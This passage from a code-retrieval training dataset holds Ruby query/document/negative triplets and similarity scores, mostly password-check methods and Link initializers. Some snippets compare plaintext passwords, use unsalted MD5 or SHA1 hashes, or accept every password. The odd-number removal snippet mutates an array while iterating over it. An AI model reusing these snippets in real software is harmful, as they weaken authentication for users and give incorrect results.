has_password?(submitted_password)\n # compare encrypted_password with the encrypted version of\n # the submitted password.\n\tencrypted_password == encrypt(submitted_password)\n end", "def valid_password?(password)\n if self.legacy_password_hash.present?\n if ::Digest::MD5.hexdigest(password).upcase == self.legacy_password_hash.upcase\n self.password = password\n self.legacy_password_hash = nil\n self.save!\n true\n else\n false\n end\n else\n super\n end\n end", "def password_check\n return self.encrypted_password==BCrypt::Engine.hash_secret(self.password_verify, self.salt)\n end", "def password_changed?\n Candidate.password_changed?(password)\n # !valid_password?(Event::Other::INITIAL_PASSWORD)\n end", "def password_match?\n self.errors[:password] << 'password not match' if password != password_confirmation\n self.errors[:password] << 'you must provide a password' if password.blank?\n password == password_confirmation and !password.blank?\n end", "def password_match\n if password != confirm_password\n errors.add(:password, \"doesn't match\")\n end\n end", "def should_validate_password?\n updating_password || new_record?\n end", "def has_password?(submitted_password)\n #Compare encrypted_password with the encrypted version of \n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end", "def password_changed?\n !self.password.blank? or self.encrypted_password.blank?\n end", "def check_pw pw\n (encrypt pw) == (self[:password])\n end", "def correct_password?(params)\n current_password = params[:user][:current_password]\n password == current_password\n end", "def correct_password?(params)\n current_password = params[:user][:current_password]\n password == current_password\n end", "def check_password?(clear_password)\n # User.hash_password(\"#{salt}#{User.hash_password clear_password}\") == hashed_password\n # TODO: encrypt password\n self.password == clear_password\n end", "def matches_password(login_password)\n passhash == BCrypt::Engine.hash_secret(login_password, salt)\n end", "def check_password_changed\n self.temp_password = nil if ( changed.include?('encrypted_password') && !(changed.include?('temp_password')))\n end", "def should_validate_password?\n updating_password || new_record?\n end", "def compare_pass (pass)\r\n return self.encrypted_password == sha_hash(\"#{pass}--#{self.salt}\")\r\n end", "def should_validate_password?\n \tupdating_password || new_record?\n end", "def correct_password?(params)\n current_password = params[:pd_user][:current_password]\n return (password == current_password)\n end", "def has_password?(submitted_password)\n\t\t# Compare encrypted password with the encrypted version of the submitted password\n\t\tencrypted_password == encrypt(submitted_password)\n\tend", "def has_password?(submitted_password)\n\t\t# compare encrypted_password with the encrypted version of submitted_password\n\t\tencrypted_password == encrypt(submitted_password)\n\tend", "def passwords_match\n if self.password_changed? && !(self.password == self.password_confirmation)\n self.errors.add(:team, I18n.t('team.passwords_dont_match'))\n end\n end", "def has_password?(submitted_password)\n\t # Compare encrypted_password with the encrypted version of\n\t # submitted_password.\n\t encrypted_password == encrypt(submitted_password)\n\tend", "def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n\t encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end", "def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end", "def password?\n password\n end", "def same?(params)\n User.find(params[:user_id]).play(PasswordRole) { |user|\n user.same_password?(params[:password])\n }\n end", "def password?(password_candidate)\r\n\t\t@password_hash == User.calculate_hash(password_candidate)\r\n\tend", "def check_create_user_password_is_valid\n return self.password != \"\" ? true : false\n end", "def valid_password?(password)\n if self.respond_to?('legacy_password_hash') && self.legacy_password_hash.present?\n if BCrypt::Password.new(self.legacy_password_hash) == password\n self.password = password\n self.legacy_password_hash = nil\n self.save!\n true\n else\n false\n end\n else\n super\n end\n end", "def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end", "def valid_password?; end", "def check_password?(clear_password)\n User.hash_password(\"#{salt}#{User.hash_password clear_password}\") == hashed_password\n end", "def valid_password?(password)\n true\n end", "def has_password?\n self.has_password\n end", "def valid_password?(password)\n begin\n super(password)\n rescue BCrypt::Errors::InvalidHash\n sha1_password = Digest::SHA1.hexdigest(\"--#{password_salt}--#{password}--\")\n return false unless sha1_password == encrypted_password\n logger.info \"User #{email} is using the old password hashing method, updating attribute.\"\n self.password = password # = BCrypt::Password.create(sha1_password)\n true\n end\n end", "def login(try_password)\n pass = Password.new(self.password.encode('ascii-8bit'))\n return pass == try_password\n end" ]
[ "0.8087815", "0.7930782", "0.7901597", "0.7901542", "0.78098774", "0.77931345", "0.7781721", "0.77812254", "0.77812254", "0.7770039", "0.77351993", "0.7719838", "0.7719838", "0.7719838", "0.7719838", "0.7719838", "0.7719838", "0.7719838", "0.7719838", "0.7719838", "0.7719838", "0.7719838", "0.7719838", "0.7719838", "0.77122253", "0.7678287", "0.7678039", "0.76648355", "0.7648113", "0.7647209", "0.76455665", "0.76455665", "0.7643527", "0.7641951", "0.7636901", "0.7636005", "0.7636005", "0.7634437", "0.7629403", "0.76291823", "0.76289475", "0.76216114", "0.76185036", "0.7602564", "0.7602564", "0.7601577", "0.757666", "0.7565624", "0.75593233", "0.75530446", "0.75516486", "0.75510836", "0.7542487", "0.75398564", "0.7530822", "0.75289094", "0.75218445", "0.75218445", "0.752046", "0.75027746", "0.7492632", "0.74897504", "0.74894536", "0.7486183", "0.7480355", "0.7479243", "0.7478717", "0.7470648", "0.74661964", "0.74661964", "0.74657714", "0.7445234", "0.74403465", "0.74266094", "0.7406626", "0.7405005", "0.7401329", "0.73869944", "0.73790234", "0.73787874", "0.736855", "0.73659897", "0.73612696", "0.73612696", "0.73612696", "0.73612696", "0.73612696", "0.73612696", "0.73612696", "0.7359747", "0.73366624", "0.7326706", "0.73259395", "0.7313917", "0.73095363", "0.7309265", "0.73069245", "0.7306487", "0.7303737", "0.7300026", "0.7298541" ]
0.0
-1
Initialize a new Link instance.
def initialize(name, href, templated = false) @name = name @href = href @templated = templated end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(link_string)\n @link_string = link_string\n end", "def new_link\n @link = Link.new\n end", "def initialize(link_options={})\n @id = link_options[\"id\"]\n @assignment_id = link_options[\"assignment_id\"] \n @link = link_options[\"link\"]\n @type = link_options[\"type\"]\n end", "def new\n @link = Link.new\n end", "def initialize( connection, id, link, extra_data = nil )\n @id = id\n @connection = connection\n @populated = false\n @link = link\n populate_from_hash( extra_data ) if extra_data\n #populate( link )\n end", "def new\n\t\t@link = Link.new\n\tend", "def initialize(title, link)\n @title = title\n @link = link\n @@all << self\n end", "def new\n\t\t@rlink = Rlink.new\n\tend", "def initialize(key, link, entry_point, uri_variables = nil)\n @key = key\n @link = link\n @entry_point = entry_point\n @uri_variables = uri_variables\n @resource = nil\n end", "def new\n @resource = Resource.new \n @link = Link.new\n end", "def initialize(title = \"Link List\")\n @links = []\n @title = title\n end", "def initialize(link_set, options={})\n @link_set, @options = link_set, options\n @context = options[:context]\n end", "def initialize(link_set, options={})\n @link_set, @options = link_set, options\n @context = options[:context]\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def initialize(linkbase_path, label_linkbase=nil)\n super linkbase_path\n @label_linkbase=label_linkbase\n @def_content_optimized=nil\n end", "def initialize(options = {})\n super(options)\n # optional\n @type = options[:type]\n @link = options[:link]\n @tags = convert_tags(options[:tags])\n end", "def initialize\n super(Network.generate_id(\"document_\"))\n @view = View.new\n @layout = Layout.new\n self.link(:default_view, @view)\n self.link(:default_layout, @layout)\n end", "def initialize(link)\n @pointer = to_pointer(link, :album)\n end", "def initialize(schema, resource_name, link_index)\n @schema = schema\n @resource_name = resource_name\n @link_index = link_index\n @name = Heroics.ruby_name(link_schema['title'])\n @description = link_schema['description']\n end", "def link( index )\n\t\tLink.new( \n\t\t\tself.words[ self.link_lword(index) ],\n\t\t\tself.words[ self.link_rword(index) ],\n\t\t\tself.link_length(index),\n\t\t\tself.link_label(index),\n\t\t\tself.link_llabel(index),\n\t\t\tself.link_rlabel(index),\n\t\t\tLinkTypes[ self.link_label(index).gsub(/[^A-Z]+/, '').to_sym ]\n\t\t)\n\tend", "def initialize(name, link, date_of_birth)\n @name = name\n @link = link\n @date_of_birth = date_of_birth\n end", "def new_from_link(href)\n self.class.new(:root => self.root,\n :auth => self.auth,\n :headers => self.headers,\n :namespace => self.namespace,\n :href => href)\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def initialize(uri, factory)\n self.factory = factory\n # Normalise the URL to the linked data form\n self.uri = factory ? factory.cache.linked_data_url(uri) : uri\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def with_link(*args)\n @links.push(args.length == 1 ? args.first : Link.new(*args))\n self\n end", "def initialize(href, src, id, text)\n @href = href\n @src = src\n @id = id\n @text = text\n end", "def initialize(*parameters, &block)\n container, arguments, methods, signals = Thing.do_parameters(parameters)\n super(*arguments)\n Thing.do_methods(self, methods, container)\n Thing.do_links(self, signals, block)\n end", "def initialize\n raise NotImplementedError, 'need to implement #intialize and set @url'\n end", "def initialize(schema, name)\n @schema = schema\n @name = name\n link_schema = schema['definitions'][name]['links']\n @links = Hash[link_schema.each_with_index.map do |link, link_index|\n link_name = Heroics.ruby_name(link['title'])\n [link_name, LinkSchema.new(schema, name, link_index)]\n end]\n end", "def initialize(config)\n @display_name = '360 Link Resolver'\n @display_text = 'Get Full Text via 360 Link'\n @http_open_timeout = 3\n @http_read_timeout = 5\n @credits = {\n 'SerialsSolutions' => 'http://www.serialssolutions.com/en/services/360-link'\n }\n\n # Call super to get @base_url, @open_timeout, and @read_timeout\n super\n\n @client = UmlautThreeSixtyLink::Client::Agent.new(\n @base_url,\n @open_timeout,\n @read_timeout\n )\n end", "def initialize\n end", "def initialize(element, page_url=nil)\n @element, @page_url = element, page_url\n if link?\n @property = Link.new(extract_property, extract_property_names, extract_rel_names)\n else\n @property = Property.new(extract_property, extract_property_names, extract_rel_names)\n end\n end", "def initialize\n init\n end", "def set_link_resource\n @link_resource = LinkResource.find(params[:id])\n end", "def new(model, link_path)\n # read path to ModelItem instance from link file at 'link_path'\n instance_path = model.get_item(link_path)\n raise ProxyItemError.new(\"Invalid ProxyItem path: #{link_path}\") if \\\n (not instance_path) || (instance_path.empty?)\n\n @true_class.new(model, instance_path.chomp)\n end", "def initialize\n initialize!\n end", "def initialize\n initialize!\n end", "def initialize(params)\r\n raise ArgumentError unless params.is_a? Hash\r\n @url = build_url(params)\r\n end", "def initialize()\n end", "def initialize(object, response = nil)\n @object = object\n\n @created_at = object['created_at']\n @links = object['links']\n @record_identifier = object['record_identifier']\n @response = response\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def set_link\n if params[:id]\n # raise ActionController::RoutingError.new('Not Found')\n @link = Link.find_by_admin_id(params[:id])\n elsif params[:uuid]\n @link = Link.find_by_admin_id(params[:uuid])\n elsif params[:hash_id]\n id = Hashid.decode(params[:hash_id]).first #first is required otherwise array is returned\n @link = Link.find(id)\n end\n end", "def get_link(link_type)\n Occi::Api::Log.debug(\"Instantiating #{link_type.inspect}\")\n\n type_id = get_link_type_identifier(link_type)\n raise \"Unknown link type! #{link_type.inspect}\" unless type_id\n\n new_link = Occi::Core::Link.new(type_id)\n new_link.model = @model\n\n new_link\n end", "def set_url_link\n @url_link = UrlLink.find(params[:id])\n end", "def initialize(options)\n @raw = options[:parsed_json]\n @hal_client = options[:hal_client]\n @href = options[:href]\n\n (fail ArgumentError, \"Either parsed_json or href must be provided\") if\n @raw.nil? && @href.nil?\n\n (fail InvalidRepresentationError, \"Invalid HAL representation: #{raw.inspect}\") if\n @raw && ! hashish?(@raw)\n end", "def Link(from, to, weight = nil)\n if weight\n WeightedLink.new(from, to, weight)\n else\n Link.new(from, to)\n end\n end", "def convert_link link\n TraceProtos::Span::Link.new \\\n trace_id: link.trace_id,\n span_id: link.span_id,\n type: link.type,\n attributes:\n convert_attributes(link.attributes,\n link.dropped_attributes_count)\n end", "def initialize args\n hash_make args, InPort::ARG_SPECS\n @link = nil\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def set_link\n @link = Link.find(params[:id])\n end", "def initialize(relation = self.class.relation, attributes = self.class.attributes)\n super()\n @relation = relation\n @attributes = attributes\n @relationships = self.class.relationships\n end", "def initialize(link)\n if link.is_a?(String)\n link = to_id($1) if link =~ %r|image[:/]([a-fA-F0-9]{40})|\n\n FFI::MemoryPointer.new(:char, 20) do |ptr|\n ptr.write_bytes link\n link = Spotify.image_create(session.pointer, ptr)\n end\n else\n link = from_link(link, session.pointer)\n end\n\n @pointer = Spotify::Pointer.new(link, :image, false)\n\n @callback = proc { trigger :load }\n Spotify.image_add_load_callback(@pointer, @callback, nil)\n\n # TODO: remove load_callback when @pointer is released\n # NOTE: on(:load) will trigger while load callback is still executing,\n # and removing the load callback from within the load callback\n # does not make libspotify happy, and thus segfaults D:\n #\n # on(:load) { Spotify::image_remove_load_callback(@pointer, @callback, nil) }\n end", "def initialize(json)\n @id = json[\"id\"].to_i\n @type = json[\"type\"]\n @width = json[\"width\"].to_i\n @src = json[\"src\"]\n @hasBorder = json[\"hasBorder\"] == \"true\"\n\n if json[\"link\"]\n @link = json[\"link\"][\"url\"]\n end\n\n extract_shallow_attributes(json)\n create_relations(json)\n end", "def link(*args)\n Restfulie::Common::Builder::Rules::Link.new(*args)\n end", "def initialize(object, response = nil)\n @object = object\n\n @confirmation_url = object['confirmation_url']\n @created_at = object['created_at']\n @description = object['description']\n @id = object['id']\n @links = object['links']\n @mandate_reference = object['mandate_reference']\n @metadata = object['metadata']\n @redirect_url = object['redirect_url']\n @scheme = object['scheme']\n @session_token = object['session_token']\n @success_redirect_url = object['success_redirect_url']\n @response = response\n end", "def initialize(endpoint, adapter, options = nil)\n @endpoint = endpoint\n @adapter = adapter\n @serializer = (options && options[:serializer]) || self.class.serializer\n @links_parser = (options && options[:links_parser]) || Sawyer::LinkParsers::Hal.new\n @allow_undefined_methods = (options && options[:allow_undefined_methods])\n end", "def initialize(object, options = {})\n @object = set_object(object)\n @name = set_name(options)\n @path = set_path(options[:path], options[:blank_links])\n end", "def initialize args\n hash_make args, OutPort::ARG_SPECS\n @link = nil\n end", "def links\n valid_link_keys = %w(mandate new_customer_bank_account organisation parent_event payment payout previous_customer_bank_account refund subscription )\n valid_links = (@links || {}).select { |key, _| valid_link_keys.include?(key) }\n\n links_class = Struct.new(\n *{\n\n mandate: '',\n\n new_customer_bank_account: '',\n\n organisation: '',\n\n parent_event: '',\n\n payment: '',\n\n payout: '',\n\n previous_customer_bank_account: '',\n\n refund: '',\n\n subscription: ''\n\n }.keys\n ) do\n def initialize(hash)\n hash.each do |key, val|\n send(\"#{key}=\", val)\n end\n end\n end\n links_class.new(valid_links)\n end", "def link(node_link)\n @node_link = node_link\n self\n end", "def initialize(url)\n self.url = url\n end", "def create\n\t\trandom_str = SecureRandom.urlsafe_base64(10)\n\t\tlink = Link.create(url: params[\"link\"][\"url\"], random_string: random_str)\n\t\tredirect_to link_path(link.random_string)\n\tend", "def initialize args = {}\n hash_make args, Network::ARG_SPECS\n \n # ensure that all sample rates match given rate\n @blocks.each do |block_name, block|\n if block.sample_rate != @sample_rate\n raise ArgumentError, \"block sample rate #{block.sample_rate} does not match network sample rate #{@sample_rate}\"\n end\n end\n \n @links.each do |link|\n link.activate\n end\n end", "def initialize(uri)\r\n\t\t@uri = clean(uri)\r\n\t\t@uri_xml_encoded_only = REXML::Text.normalize(@uri)\r\n\t\t\r\n\t\t\r\n\t\t@follow_link = true\r\n\tend", "def set_link_request\n @link_request = LinkRequest.find(params[:id])\n end", "def set_link_request\n @link_request = LinkRequest.find(params[:id])\n end", "def new\n @link = current_user.links.new\n # @link = Link.new\n end", "def initialize(url_config)\n super()\n @url_config = url_config\n end", "def initialize(url)\n self.url = url\n self\n end", "def initialize\n \n end", "def initialize_deep_link_for(id, start_states, opts)\n #add_deep_link if opts[:is_url_listener] ### DISCUSS: remove #add_de\n end" ]
[ "0.7395907", "0.7256082", "0.7241221", "0.7042234", "0.7018515", "0.7007218", "0.6862575", "0.6599071", "0.65781456", "0.6480334", "0.64769566", "0.6430168", "0.6430168", "0.64232516", "0.64232516", "0.6415516", "0.63884765", "0.63850474", "0.6359316", "0.632041", "0.626927", "0.6245776", "0.6206625", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.6198208", "0.61736774", "0.61340344", "0.61340344", "0.61340344", "0.6097353", "0.6088239", "0.6065932", "0.6064913", "0.60415876", "0.6029339", "0.6003306", "0.5989574", "0.5984988", "0.59747624", "0.5967761", "0.5939287", "0.5939287", "0.59379876", "0.5930098", "0.59129953", "0.591163", "0.591163", "0.591163", "0.591163", "0.591163", "0.591163", "0.5905224", "0.5904188", "0.5901291", "0.5891495", "0.58905685", "0.5889867", "0.5885853", "0.5882978", "0.5882978", "0.5882978", "0.5876436", "0.5860552", "0.5857635", "0.58369076", "0.5831211", "0.5827196", "0.5814003", "0.5795696", "0.5788218", "0.5787805", "0.5785544", "0.57827294", "0.57816195", "0.5781413", "0.5763478", "0.5763478", "0.57633936", "0.5762845", "0.5755301", "0.57382363", "0.57374895" ]
0.57998747
86
Predicate function denoting whether or not the Link url is a template.
def templated? @templated end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _templated?\n !!@link['templated']\n end", "def templated?\n !template.nil?\n end", "def is_link?\n self.type == 'Document::VirtualCollege' && !is_pdf?\n end", "def partial?\n\t\t\tlinks.by(:rel)['alternate'].any? do |l|\n\t\t\t\tl[3]=='application/atom+xml'||l[3]=='application/atom+xml;type=entry'\n\t\t\tend\n\t\tend", "def template() false end", "def plans_by_template?\n true\n end", "def url?\n !urn?\n end", "def raw_href\n templated? ? template.pattern : target.href\n end", "def inline_template?\r\n if template_id.blank? || template_id.zero?\r\n return true\r\n else\r\n return false\r\n end\r\n end", "def guest_and_restricted_link?\n guest? && @record.fulltext_link[:url] == 'detail'\n end", "def pass?(template)\n apply(template) == true\n end", "def block_is_template?(_)\n false\n end", "def has_template?(tmpl, cookbook=nil)\n has_source?(tmpl, :templates, cookbook)\n end", "def show?\n user.can_modify_templates? && (phase.template.org_id == user.org_id)\n end", "def usable_link?(type, url)\n case type\n when :twitter\n # twitter users starting with _ (like _NapervilleIl) are weatherbugs\n # if the username does not start with _ it is a valid username\n (url.match(/^http:\\/\\/(?:www\\.)?twitter.com[^\\/]*\\/[^_]/)) && (! url.match(/\\/share|\\/goodies/))\n when :facebook\n url.match(/^http:\\/\\/(?:www\\.)?facebook.com/)\n else\n true\n end\n end", "def isArticle?(url)\n\t\n\t# possible parameters:\n\t# page contains a date\n\nend", "def check_only_links\n end", "def relevant_fulltext_link?(link)\n relevant_links.map { |x| link[:url].include?(x) }.any?\n end", "def template?\n return false if source_file.nil?\n !::Tilt[source_file].nil?\n end", "def link?\n !link.nil? && !link.empty?\n end", "def link?\n !link.nil? && !link.empty?\n end", "def inside_header?\n @anchor.tag_name == 'link'\n end", "def local_link?\n [1,2].include?(link_type)\n end", "def content_for?(name); end", "def is_url?\n path =~ URL_PATHS\n end", "def url?\n children[0] && children[0].is_a?(Url)\n end", "def using_template?\n @statistic.org_id == @user.org_id\n end", "def link_is_fulltext?\n @link_is_fulltext\n end", "def url?\n !url.nil?\n end", "def belongs_to_template?\n return false\n # outdated due to model change.\n # eventtemplates are object of own class\n # eventsessions cannot belong to an event with is_template == true anymore\n # return self.event.is_template\n end", "def validate_template_visibility(visibility, template)\n return true if template.blank?\n\n template.valid_visibility?(visibility)\n end", "def pagable?\n (titular)\n end", "def good_resource?(url)\n if rx_url\n !(url.to_s !~ rx_url)\n else\n true\n end\n end", "def require_links?\n @require_links\n end", "def is_linktype?(); @type == GRT_LINKTYPE; end", "def url_template\n @url_template ||= metadata.fetch(\"permalink\") do\n Utils.add_permalink_suffix(\"/:collection/:path\", site.permalink_style)\n end\n end", "def url_template; end", "def url_template; end", "def not_mailto_link?(link)\n true unless link.to_s.start_with?(\"mailto:\")\n end", "def templated?\n !!@curie_hash['templated']\n end", "def is_url?\n self =~ /^#{URI::regexp}$/\n end", "def template?(format = :html, renderer = default_renderer)\n !(inline_template(format) || file_template(format, renderer)).nil?\n end", "def has_template?(templates, klass, sym)\n templates.include? \"#{klass}##{sym}\"\n end", "def is_active_link?(link_path, condition = nil)\n case condition\n when Regexp\n !request.fullpath.match(condition).blank?\n else\n request.path == link_path\n end\n end", "def template_changed?\n modified?(\"design/template.slim\") || modified?(\".clayoven/hidden\") ||\n modified?(\".clayoven/tz\") || modified?(\".clayoven/subtopics\")\n end", "def template_options?\n user.present?\n end", "def active_template?\n stored_files.template.count > 0\n end", "def url_from_asset_tag?\n !['a', 'area'].include?(@source_tag)\n end", "def partial?(template)\n !!template.virtual_path.partial? rescue false\n end", "def specific_template_exists?(template)\n template, extension = template.split('.')\n path = File.join(RAILS_ROOT, \"app/views\", template)\n File.exist?(\"#{path}.#{extension || 'rhtml'}\")\n end", "def acceptable_link_format?(link)\n begin\n return false if link.to_s.match(/#/) || link.uri.to_s.empty? # handles anchor links within the page\n scheme = link.uri.scheme\n return false if (!scheme.nil?) && (scheme != 'http') && (scheme != 'https') # eliminates non http,https, or relative links\n # prevents download of media files, should be a better way to do this than by explicit checks for each type\n return false if link.to_s.match(/.pdf|.jgp|.jgp2|.png|.gif/)\n rescue\n return false\n end\n true\n end", "def filterable?\n !linked_category?\n end", "def page_link?(uri)\n uri = URI.parse(uri) unless uri.is_a? URI\n uri.path =~ PAGE_REGEX || uri.path !~ /\\..*$/\n end", "def generate_url(template); end", "def is_page?\n is_entry? && params[:_entry_type_] == 'page'\n end", "def wiki_redirect?\n !!(self.redirect? && self.redirect =~ LINK_REGEX)\n end", "def absolute_url?(string); end", "def has_hyperlink?\n HYPERLINK_HOOKS.each { |string|\n return true if self.include?(string)\n }\n false\n end", "def specific_template_exists?(template)\n template, extension = template.split('.')\n path = File.join(RAILS_ROOT, \"app/views\", template)\n if extension.blank?\n File.exist?(\"#{path}.rhtml\") || File.exist?(\"#{path}.html.haml\")\n else\n File.exist?(\"#{path}.#{extension}\")\n end\n end", "def is_link?\n !child_question.nil?\n end", "def admin_create?\n user.can_modify_templates? && (section.phase.template.org_id == user.org_id)\n end", "def valid?\n (uri.host =~ LINK_REGEX || uri.host =~ LINK_IP_REGEX) ? true : false\n end", "def valid_link?(url)\n # GET or HEAD? Head is more friendly to the server, but some pages\n # May behave differently depending on HEAD or GET.\n HTTParty.head(url,\n verify: false, # don't verify ssl certs\n ).code == 200\n end", "def accepts_outcome_url?\n accepted_outcome_types.member?('url')\n end", "def exists?(name)\r\n \t!template_paths(name).empty?\r\n end", "def url?(link)\n true if link =~ /\\Ahttps?:\\/\\//\nend", "def sample_template?\n return false if external_asset.is_a? OpenbisExternalAsset\n possible_sample_types.any?\n rescue SysMODB::SpreadsheetExtractionException\n false\n end", "def real_url?(context = nil)\n url = url context\n url.present? && url != '#'\n end", "def partial_in_use?\n self.partial? and self.mail_templates.count > 0\n end", "def is_displayed_on_site?\n feed.feed_type.name == \"Article\"\n end", "def valid?(id)\n template.valid?(id)\n end", "def skip_link?(link)\n @skip_link_patterns.any? { |pattern| link.path =~ /#{pattern}/ }\n end", "def skip_link?(link)\n @skip_link_patterns.any? { |pattern| link.path =~ /#{pattern}/ }\n end", "def inline_templates?\n elements.any? { |element| element.type == :inline_templates }\n end", "def is_static?\n self.url.blank?\n end", "def visit_link?(link)\n @link_rules.accept?(link)\n end", "def id_link?\n @url[0] == '#'\n end", "def points_to? path\n href = @tag.scan(/href=\\\"([^\"]*)\\\"/)[0][0] rescue nil\n return false unless href\n unless href.start_with? '/'\n href = URI(href).send :path_query rescue nil\n end\n href == path\n end", "def destroy?\n user.can_modify_templates? &&\n (question_option.question.section.phase.template.org_id == user.org_id)\n end", "def url_template\n collection.url_template\n end", "def block_is_template?(block) \n block && (erb_block?(block) || \n (self.respond_to?(:block_is_haml?) && block_is_haml?(block)))\n end", "def is_active_link?(condition = nil)\n case condition\n when Regexp\n !request.fullpath.match(condition).blank?\n when Array\n controllers = [*condition[0]]\n actions = [*condition[1]]\n (controllers.blank? || controllers.member?(controller_name)) &&\n (actions.blank? || actions.member?(action_name))\n when TrueClass\n true\n when FalseClass, nil\n false\n end\n end", "def get_url_template(template)\n schema = config.get(:schema)\n version = schema[:urls][:version]\n url = schema[:urls].fetch(template, version)\n Addressable::Template.new(url)\n end", "def current_page?(url); end", "def is_lmt_and_url_request(url)\n not url.include?(\".json\")\n end", "def valid_link(link)\n\t\t!link.nil? and !link.empty?\n\tend", "def visit_url?(link)\n @url_rules.accept?(link)\n end", "def resource_pattern?\n false\n end", "def is_photo_link(link)\n\t\n\tif \t(link.include?(\"pinterest.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"flickr.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"deviantart.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"fotolog.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"shutterfly.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"panoramio.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"photobucket.com\") ) \n\t\treturn true;\n\tend\n\n\treturn false;\t\n\nend", "def deletable?\n is_regular_page?\n end", "def includesMainPageLink(link)\n\tlink.to_s.downcase.include?\"main_page\"\nend", "def display_link_to?(action)\n @display_link.include?(action)\n end", "def resource_pattern?\n true\n end", "def is_linkkeys?(); @type == GRT_LINKKEYS; end", "def get_template(template); end", "def is_double_opt_in_related_template?(template_name)\n [\n GlobalConstant::PepoCampaigns.double_opt_in_template\n ].include?(template_name)\n end", "def isLinkedin?\n self.category =~ /(linkedin|linked-in)/i\n end", "def compare(template)\n self.attrs_template.each do |name|\n value = self.send(name)\n next if template.send(name).nil?\n return false unless template.send(name) == value\n end\n true\n end", "def resource?\n !reference?\n end", "def Predicate(path, parsed); end" ]
[ "0.701541", "0.63204515", "0.62723106", "0.62368125", "0.6198641", "0.6137688", "0.6066326", "0.587973", "0.5848728", "0.58456707", "0.58416855", "0.5805948", "0.57974344", "0.5789741", "0.5789728", "0.57859915", "0.57696664", "0.574656", "0.57238096", "0.5711904", "0.5711904", "0.57066524", "0.5678147", "0.56570446", "0.5638153", "0.5630288", "0.5626039", "0.5622101", "0.5593184", "0.5585265", "0.55620754", "0.5545211", "0.5543756", "0.55074346", "0.549225", "0.5479634", "0.5466633", "0.5466633", "0.54622245", "0.54509336", "0.5440005", "0.5439655", "0.54262036", "0.5422732", "0.54221153", "0.54205346", "0.5418561", "0.5415345", "0.5401769", "0.53931093", "0.5376309", "0.5350749", "0.53369164", "0.53301054", "0.5317515", "0.53125626", "0.53042364", "0.5302096", "0.52972263", "0.5288518", "0.5277671", "0.5276531", "0.5276201", "0.52617335", "0.52576303", "0.5254602", "0.5247452", "0.52471775", "0.52432185", "0.52418226", "0.5238227", "0.52372754", "0.52372754", "0.5232158", "0.52286446", "0.5226919", "0.52255213", "0.52176464", "0.5216678", "0.5210807", "0.52069885", "0.52019596", "0.51872116", "0.5182961", "0.517936", "0.51775616", "0.5174362", "0.5170104", "0.51658875", "0.5164129", "0.5163478", "0.51581573", "0.51485103", "0.51464486", "0.5141164", "0.513702", "0.5128914", "0.51268685", "0.5126401", "0.5123593" ]
0.56754375
23
removing all odd numbers from an array
def remove_odd_numbers_from_array(a) a.each do |x| if x%2!=0 a.delete x end end return a end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
